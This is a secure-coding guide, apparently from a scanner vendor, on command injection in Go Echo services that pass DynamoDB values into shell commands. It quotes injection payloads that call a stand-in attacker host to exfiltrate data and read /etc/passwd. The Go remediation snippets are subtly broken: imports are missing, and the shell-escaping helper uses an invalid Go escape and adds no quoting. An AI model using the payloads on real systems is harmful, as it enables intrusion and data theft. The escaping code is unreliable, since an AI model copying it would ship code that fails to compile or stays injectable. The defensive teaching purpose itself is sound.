Command Injection in Echo Go with Dynamodb

Command Injection becomes critical when an Echo Go web application builds system or shell commands using data that originates from or is influenced by Amazon DynamoDB records. If a handler reads an item from a DynamoDB table and directly interpolates an attribute into a command executed via os/exec or a shell, an attacker who can control or influence the DynamoDB content may inject additional shell operators and arbitrary commands.

For example, consider a DynamoDB attribute that stores a filename or a tag used for reporting. If your Echo Go service retrieves this attribute and constructs a command such as report_" + filename + ", an attacker who can write a malicious value into DynamoDB (for instance, through an exposed administrative endpoint, a compromised CI/CD pipeline, or a misconfigured data import) can extend the command with ; curl http://malicious.site/steal or && cat /etc/passwd. Because the application trusts the data stored in DynamoDB, the command runs with the privileges of the service, leading to unauthorized actions on the host.

In this context, the DynamoDB table acts as a data store for inputs that later reach the operating system layer. The risk is not the database itself but the lack of validation and isolation between data retrieval and command construction. Even when the data originates internally, supply chain issues or accidental writes can introduce unexpected characters such as spaces, semicolons, or shell variables. Echo Go routes and middleware may further obscure the origin of the input, making it harder to trace why a seemingly safe attribute becomes a command argument. Logging and monitoring that do not normalize or escape DynamoDB values can also inadvertently facilitate post-exploitation activities by exposing command syntax or environment details.

middleBrick detects this pattern during black-box scanning by observing that the endpoint does not treat DynamoDB-derived data as untrusted. It flags missing input validation, lack of argument separation, and absence of allowlists when values influence subprocess execution. The scanner does not assume the data is benign simply because it originates from a managed database, and it emphasizes the need to treat all external data as hostile regardless of storage origin.

To secure Echo Go applications that use DynamoDB, isolate data from command execution. Prefer structured APIs over shell invocation, and when shell usage is unavoidable, rigorously validate and escape all DynamoDB-derived values.

1. Avoid shell invocation entirely

Use the DynamoDB SDK directly instead of shelling out to command-line tools. This eliminates injection by removing the shell as an interpreter layer.

import (
	"context"
	"github.com/aws/aws-sdk-go-v2/aws"
	"github.com/aws/aws-sdk-go-v2/config"
	"github.com/aws/aws-sdk-go-v2/service/dynamodb"
	"github.com/aws/aws-sdk-go-v2/service/dynamodb/types"
)

func getItem(ctx context.Context, tableName, keyValue string) (map[string]types.AttributeValue, error) {
	cfg, err := config.LoadDefaultConfig(ctx)
	if err != nil {
		return nil, err
	}
	client := dynamodb.NewFromConfig(cfg)
	out, err := client.GetItem(ctx, &dynamodb.GetItemInput{
		TableName: aws.String(tableName),
		Key: map[string]types.AttributeValue{
			"id": &types.AttributeValueMemberS{Value: keyValue},
		},
	})
	if err != nil {
		return nil, err
	}
	return out.Item, nil
}

2. If you must use exec, enforce strict allowlists and avoid the shell

When constructing commands is unavoidable, pass arguments directly to exec.Command without a shell, and validate each DynamoDB-derived token against a strict pattern.

import (
	"os/exec"
	"regexp"
)

var safeName = regexp.MustCompile(`^[a-zA-Z0-9_.-]{1,64}$`)

func runReport(name string) error {
	if !safeName.MatchString(name) {
		return fmt.Errorf("invalid report name")
	}
	cmd := exec.Command("generate-report", "--name", name)
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	return cmd.Run()
}

3. Normalize and escape if you must involve a shell

When shell features are required, use exec.Command with explicit quoting via the -c flag only after escaping, but prefer the approaches above.

import (
	"strings"
)

func shellSafe(s string) string {
	return strings.ReplaceAll(s, "'", "'\''")
}

4. Monitor and govern DynamoDB content

Apply tight IAM policies and use middleBrick scans on your endpoints to ensure that no route inadvertently exposes DynamoDB-derived fields in command-like parameters. Continuous monitoring helps detect anomalous writes to attributes that feed into runtime operations.

These steps ensure that DynamoDB remains a safe data layer and does not become a conduit for command execution vulnerabilities in your Echo Go service.